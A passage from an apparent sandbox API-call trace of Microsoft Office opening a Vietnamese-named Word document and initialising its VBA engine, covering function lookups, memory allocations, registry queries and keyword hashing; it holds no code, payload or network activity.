(hModule=0x7feffd80000, lpProcName="VarAdd") returned 0x7feffe048e0 [0052.359] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAnd") returned 0x7feffe09470 [0052.360] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCat") returned 0x7feffe096a0 [0052.360] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDiv") returned 0x7feffe02fe0 [0052.361] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarEqv") returned 0x7feffe09cf0 [0052.361] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarIdiv") returned 0x7feffe08ff0 [0052.361] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarImp") returned 0x7feffe09c00 [0052.362] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMod") returned 0x7feffe08e60 [0052.362] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMul") returned 0x7feffe03690 [0052.363] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarOr") returned 0x7feffe092d0 [0052.363] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarPow") returned 0x7feffe02e80 [0052.363] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarSub") returned 0x7feffe03f90 [0052.364] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarXor") returned 0x7feffe091a0 [0052.364] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAbs") returned 0x7feffde7c30 [0052.364] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFix") returned 0x7feffde7a60 [0052.365] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarInt") returned 0x7feffde7890 [0052.365] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNeg") returned 0x7feffde7ea0 [0052.366] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNot") returned 0x7feffe09600 [0052.366] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarRound") returned 0x7feffde76a0 [0052.366] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCmp") returned 0x7feffe083f0 [0052.367] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecAdd") returned 0x7feffdb3070 [0052.367] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecCmp") returned 0x7feffdbd700 [0052.368] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCat") returned 0x7feffdbd890 [0052.368] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCyMulI4") returned 0x7feffd9caf0 [0052.368] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCmp") returned 0x7feffda8a00 [0052.369] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x6675720 [0052.370] GetUserDefaultLCID () returned 0x409 [0052.405] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x67162b0 [0052.405] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x67660a0 [0052.405] IMalloc:Alloc (This=0x7feffc15380, cb=0x20000*=0x78746341) returned 0x695b490 [0052.407] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66756f0 [0052.408] IMalloc:Alloc (This=0x7feffc15380, cb=0x7d8) returned 0x697b4a0 [0052.409] IMalloc:Alloc (This=0x7feffc15380, cb=0x98) returned 0x68374c0 [0052.409] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66753f0 [0052.410] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x66753c0 [0052.851] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", lpString2="") returned 1 [0052.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchWideChar=-1, lpMultiByteStr=0x127d40, cbMultiByte=137, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", lpUsedDefaultChar=0x0) returned 69 [0052.851] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 68 [0052.852] lstrcpyA (in: lpString1=0x2d1c750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" [0052.852] SetCursor (hCursor=0x10007) returned 0x10007 [0052.852] GetCurrentThreadId () returned 0x8d0 [0052.852] GetCurrentThreadId () returned 0x8d0 [0052.853] IMalloc:Alloc (This=0x7feffc15380, cb=0x4) returned 0x690c6a0 [0052.853] IMalloc:Alloc (This=0x7feffc15380, cb=0xf0) returned 0x69193c0 [0052.853] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6998210 [0052.853] IMalloc:Alloc (This=0x7feffc15380, cb=0x280) returned 0x68f9200 [0052.854] IMalloc:Alloc (This=0x7feffc15380, cb=0xa08) returned 0x69b06a0 [0052.854] IMalloc:Alloc (This=0x7feffc15380, cb=0x1738) returned 0x69b10b0 [0052.854] GetLocalTime (in: lpSystemTime=0x127548 | out: lpSystemTime=0x127548*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1e, wMilliseconds=0x336)) [0052.854] _ultow_s (in: _Value=0x5e132abe, _Buffer=0x68f922a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5e132abe") returned 0x0 [0052.854] wcsncpy_s (in: _Destination=0x127210, _SizeInWords=0x108, _Source="*\\Z005e132abe", _MaxCount=0x106 | out: _Destination="*\\Z005e132abe") returned 0x0 [0052.854] CharLowerBuffW (in: lpsz="*\\Z005e132abe", cchLength=0xd | out: lpsz="*\\z005e132abe") returned 0xd [0052.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e132abe", cchWideChar=14, lpMultiByteStr=0x127140, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e132abe", lpUsedDefaultChar=0x0) returned 14 [0052.854] wcscpy_s (in: _Destination=0x6998230, _SizeInWords=0xe, _Source="*\\Z005e132abe" | out: _Destination="*\\Z005e132abe") returned 0x0 [0052.854] wcsncpy_s (in: _Destination=0x127250, _SizeInWords=0x108, _Source="*\\Z005e132abe", _MaxCount=0x106 | out: _Destination="*\\Z005e132abe") returned 0x0 [0052.854] CharLowerBuffW (in: lpsz="*\\Z005e132abe", cchLength=0xd | out: lpsz="*\\z005e132abe") returned 0xd [0052.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e132abe", cchWideChar=14, lpMultiByteStr=0x127180, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e132abe", lpUsedDefaultChar=0x0) returned 14 [0052.854] lstrcpyA (in: lpString1=0x2d1c7a0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" [0052.854] lstrcpyA (in: lpString1=0x2d1c7a0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" [0052.854] lstrcpyA (in: lpString1=0x2d1c7a0, lpString2="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" [0052.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d1c7a0, cbMultiByte=-1, lpWideCharStr=0x127b90, cchWideChar=69 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 69 [0052.854] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.854] wcscpy_s (in: _Destination=0x127936, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0052.854] wcsncpy_s (in: _Destination=0x127550, _SizeInWords=0x108, _Source="*\\Z005e132abe", _MaxCount=0x106 | out: _Destination="*\\Z005e132abe") returned 0x0 [0052.855] CharLowerBuffW (in: lpsz="*\\Z005e132abe", cchLength=0xd | out: lpsz="*\\z005e132abe") returned 0xd [0052.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e132abe", cchWideChar=14, lpMultiByteStr=0x127480, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e132abe", lpUsedDefaultChar=0x0) returned 14 [0052.855] _wcsicmp (_String1="*\\Z005e132abe", _String2="*\\Z005e132abe") returned 0 [0052.855] wcsncpy_s (in: _Destination=0x127550, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0052.855] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0052.855] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b4630 [0052.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b4630, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0052.855] IMalloc:Free (This=0x7feffc15380, pv=0x69b4630) [0052.855] IMalloc:Realloc (This=0x7feffc15380, pv=0x6998210, cb=0x110) returned 0x682e740 [0052.855] wcscpy_s (in: _Destination=0x682e780, _SizeInWords=0x48, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0052.855] wcsncpy_s (in: _Destination=0x127550, _SizeInWords=0x108, _Source="*\\Z005e132abe", _MaxCount=0x106 | out: _Destination="*\\Z005e132abe") returned 0x0 [0052.855] CharLowerBuffW (in: lpsz="*\\Z005e132abe", cchLength=0xd | out: lpsz="*\\z005e132abe") returned 0xd [0052.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005e132abe", cchWideChar=14, lpMultiByteStr=0x127480, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005e132abe", lpUsedDefaultChar=0x0) returned 14 [0052.855] _wcsicmp (_String1="*\\Z005e132abe", _String2="*\\Z005e132abe") returned 0 [0052.855] wcsncpy_s (in: _Destination=0x127590, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0052.855] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc", cchLength=0x47 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc") returned 0x47 [0052.855] IMalloc:Alloc (This=0x7feffc15380, cb=0x90) returned 0x69b4630 [0052.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", cchWideChar=72, lpMultiByteStr=0x69b4630, cbMultiByte=144, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\cv gui pvn vv y kien cua ub ve gia han.doc", lpUsedDefaultChar=0x0) returned 72 [0052.855] IMalloc:Free (This=0x7feffc15380, pv=0x69b4630) [0052.855] wcscpy_s (in: _Destination=0x68f9220, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\CV gui PVN vv y kien cua UB ve gia han.doc") returned 0x0 [0052.855] CExposedDocFile::AddRef () returned 0x2 [0052.855] CExposedDocFile::OpenStorage () returned 0x0 [0052.855] CExposedDocFile::AddRef () returned 0x2 [0052.855] IMalloc:Alloc (This=0x7feffc15380, cb=0x84) returned 0x6998210 [0052.855] wcscpy_s (in: _Destination=0x6998280, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0052.856] wcscpy_s (in: _Destination=0x126e30, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0052.856] _ltow_s (in: _Value=0, _Buffer=0x126e3c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0052.856] CExposedDocFile::OpenStream () returned 0x80030002 [0052.856] IMalloc:Free (This=0x7feffc15380, pv=0x6998210) [0052.856] longjmp () [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0x84) returned 0x6998210 [0052.915] wcscpy_s (in: _Destination=0x6998280, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0052.915] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x180) returned 0x688f410 [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69acfd0 [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69acf10 [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x68fe130 [0052.915] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x80) returned 0x6998c30 [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x68fe380 [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x68fe5d0 [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x66d94c0 [0052.915] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x67d9540 [0052.916] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x126e2c, cchData=6 | out: lpLCData="1252") returned 5 [0052.916] atoi (_Str="1252") returned 1252 [0052.916] GetLocalTime (in: lpSystemTime=0x126e20 | out: lpSystemTime=0x126e20*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1e, wMilliseconds=0x375)) [0052.916] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6998cc0 [0052.916] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c6b0 [0052.916] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6998d50 [0052.916] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66da120 [0052.916] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6998de0 [0052.916] IMalloc:Realloc (This=0x7feffc15380, pv=0x6998de0, cb=0x280) returned 0x68f9490 [0052.916] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c620 [0052.916] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c6d0 [0052.916] strcpy_s (in: _Dst=0x126c00, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0052.916] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0052.916] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee4b704a8, lpdwDisposition=0x0 | out: phkResult=0x7fee4b704a8*=0x9ec, lpdwDisposition=0x0) returned 0x0 [0052.916] RegQueryValueExA (in: hKey=0x9ec, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x126cd8, lpData=0x126cd0, lpcbData=0x126cd4*=0x4 | out: lpType=0x126cd8*=0x0, lpData=0x126cd0*=0xc1, lpcbData=0x126cd4*=0x4) returned 0x2 [0052.916] RegQueryValueExA (in: hKey=0x9ec, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x126cd8, lpData=0x126cd0, lpcbData=0x126cd4*=0x4 | out: lpType=0x126cd8*=0x0, lpData=0x126cd0*=0x0, lpcbData=0x126cd4*=0x4) returned 0x2 [0052.916] RegQueryValueExA (in: hKey=0x9ec, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x126cd8, lpData=0x126cd0, lpcbData=0x126cd4*=0x4 | out: lpType=0x126cd8*=0x0, lpData=0x126cd0*=0x1, lpcbData=0x126cd4*=0x4) returned 0x2 [0052.916] RegQueryValueExA (in: hKey=0x9ec, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x126cd8, lpData=0x126cd0, lpcbData=0x126cd4*=0x4 | out: lpType=0x126cd8*=0x0, lpData=0x126cd0*=0x0, lpcbData=0x126cd4*=0x4) returned 0x2 [0052.917] RegQueryValueExA (in: hKey=0x9ec, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x126cd8, lpData=0x126cd0, lpcbData=0x126cd4*=0x4 | out: lpType=0x126cd8*=0x0, lpData=0x126cd0*=0xff, lpcbData=0x126cd4*=0x4) returned 0x2 [0052.917] RegQueryValueExA (in: hKey=0x9ec, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x126cd8, lpData=0x126cd0, lpcbData=0x126cd4*=0x4 | out: lpType=0x126cd8*=0x0, lpData=0x126cd0*=0x0, lpcbData=0x126cd4*=0x4) returned 0x2 [0052.917] RegCloseKey (hKey=0x9ec) returned 0x0 [0052.917] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0x69a34c0 [0052.917] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0x69a3180 [0052.917] IMalloc:Alloc (This=0x7feffc15380, cb=0x1300) returned 0x69b9980 [0052.917] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2f10000 [0052.917] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x2f20000 [0052.918] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0052.918] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x676c4e0 [0052.918] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x3820000 [0052.918] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0052.918] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3830000 [0052.919] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ac0000 [0052.919] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd0000 [0052.919] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0052.920] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3be0000 [0052.920] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0052.920] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0052.920] CExposedDocFile::OpenStream () returned 0x0 [0052.920] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0x407e9b0 [0052.920] CExposedStream::AddRef () returned 0x2 [0052.920] CExposedStream::Release () returned 0x1 [0052.921] CExposedStream::Read () returned 0x0 [0052.940] GetProcAddress (hModule=0x7fee3fb0000, lpProcName=0x7fee4b3b088) returned 0x7fee3fbfcd0 [0052.941] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bf0000 [0052.941] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x3d70000 [0052.941] CExposedDocFile::CreateStream () returned 0x0 [0052.941] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0x407ee00 [0052.941] CExposedStream::AddRef () returned 0x2 [0052.941] CExposedStream::Release () returned 0x1 [0052.941] CExposedStream::Release () returned 0x0 [0052.941] IMalloc:Free (This=0x7feffc15380, pv=0x407ee00) [0052.941] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0052.941] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x676c4a0 [0052.941] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c00000 [0052.942] VirtualAlloc (lpAddress=0x3d70000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d70000 [0052.942] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0052.943] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0052.944] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0052.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 